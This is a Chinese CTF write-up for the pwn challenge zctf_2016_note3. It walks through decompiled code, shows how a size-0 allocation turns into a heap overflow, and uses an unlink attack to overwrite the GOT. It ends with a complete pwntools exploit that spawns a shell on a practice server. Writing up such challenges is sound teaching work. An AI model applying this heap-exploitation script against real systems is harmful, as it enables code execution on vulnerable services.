zctf_2016_note3
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
64位没开pie
int ADD()
{
int i; // [rsp+Ch] [rbp-14h]
__int64 size; // [rsp+10h] [rbp-10h]
void *v3; // [rsp+18h] [rbp-8h]
for ( i = 0; i <= 6 && *(&ptr + i); ++i )
;
if ( i == 7 )
puts("Note is full, add fail");
puts("Input the length of the note content:(less than 1024)");
size = READ();
if ( size < 0 )
return puts("Length error");
if ( size > 0x400 )
return puts("Content is too long");
v3 = malloc(size);
puts("Input the note content:");
READ_((__int64)v3, size, 10);
*(&ptr + i) = v3;
BSSPTR[i + 8] = size;
BSSPTR[0] = (__int64)*(&ptr + i);
return printf("note add success, the id is %d\n", (unsigned int)i);
}
add这里size能申请0~0x400闭包
int DELE()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // [rsp+8h] [rbp-8h]
puts("Input the id of the note:");
v0 = READ();
v3 = v0 % 7;
if ( v0 % 7 >= v0 )
{
v1 = (__int64)*(&ptr + v3);
if ( v1 )
{
free(*(&ptr + v3));
if ( (void *)BSSPTR[0] == *(&ptr + v3) )
BSSPTR[0] = 0LL;
*(&ptr + v3) = 0LL;
LODWORD(v1) = puts("Delete success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}
dele这里也清空的很干净,没uaf
int EDIT()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // [rsp+8h] [rbp-8h]
puts("Input the id of the note:");
v0 = READ();
v3 = v0 % 7;
if ( v0 % 7 >= v0 )
{
v1 = (__int64)*(&ptr + v3);
if ( v1 )
{
puts("Input the new content:");
READ_((__int64)*(&ptr + v3), BSSPTR[v3 + 8], 10);
BSSPTR[0] = (__int64)*(&ptr + v3);
LODWORD(v1) = puts("Edit success");
}
}
else
{
LODWORD(v1) = puts("please input correct id.");
}
return v1;
}
edit这里,有一个函数存在溢出(我改了名字READ_
三个参数,分别是malloc chunk 的指针,chunk的size,固定值10
unsigned __int64 __fastcall READ_(__int64 a1, __int64 a2, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
传进去发现,a2-1>i
倘若我将a2为0,岂不是能输入很大的一个数,造成溢出
事实上确实可以,因为BSSPTR[i + 8]
记录的就是你输入的size,所以这个a2 完全就是我们控制的
然后ptmalloc最小申请的chunk size<0x20也会申请到0x20的chunk,
所以malloc(0)
完全是合法的
我们既拿到了合法chunk,也拿到溢出,(一箭双雕x
tag=0x6020d0
add(0,b'a')#0
add(0x30,b'a')#1
add(0x80,b'a')#2
add(0x20,b'a')#3
pl=p64(0)*3+p64(0x41)+p64(0)+p64(0x31)+p64(tag-0x18)+p64(tag-0x10)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,pl)
dele(2)
这里是在chunk1里面伪造了一个fake_chunk
并且利用了unlink让chunk2和fake_chunk合并
合并后
到了这里,我们已经成功申请到bss上面了,我们将指向chunk 的指针,改成got表
后面就是将对应的got表
free@got-->puts@plt 泄露libc
atoi@got-->system getshell
exp
from pwn import*
from Yapack import *
libc=ELF('./libc-2.23.so')
context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28021,"./pwn",0)
tag=0x6020d0
add(0,b'a')#0
add(0x30,b'a')#1
add(0x80,b'a')#2
add(0x20,b'a')#3
pl=p64(0)*3+p64(0x41)+p64(0)+p64(0x31)+p64(tag-0x18)+p64(tag-0x10)+b'a'*0x10+p64(0x30)+p64(0x90)
edit(0,pl)
dele(2)
#debug()
pl=p64(0)*2+p64(elf.got['free'])+p64(elf.got['atoi'])*2
li(elf.got['atoi'])
edit(1,pl)
#debug()
edit(0,p64(elf.sym['puts'])[:-1])
dele(1)
leak=get_addr_u64()-libc.sym['atoi']
sys=system(leak)
li(leak)
edit(2,p64(sys))
sla(menu,b'/bin/sh\x00')
#debug()
ia()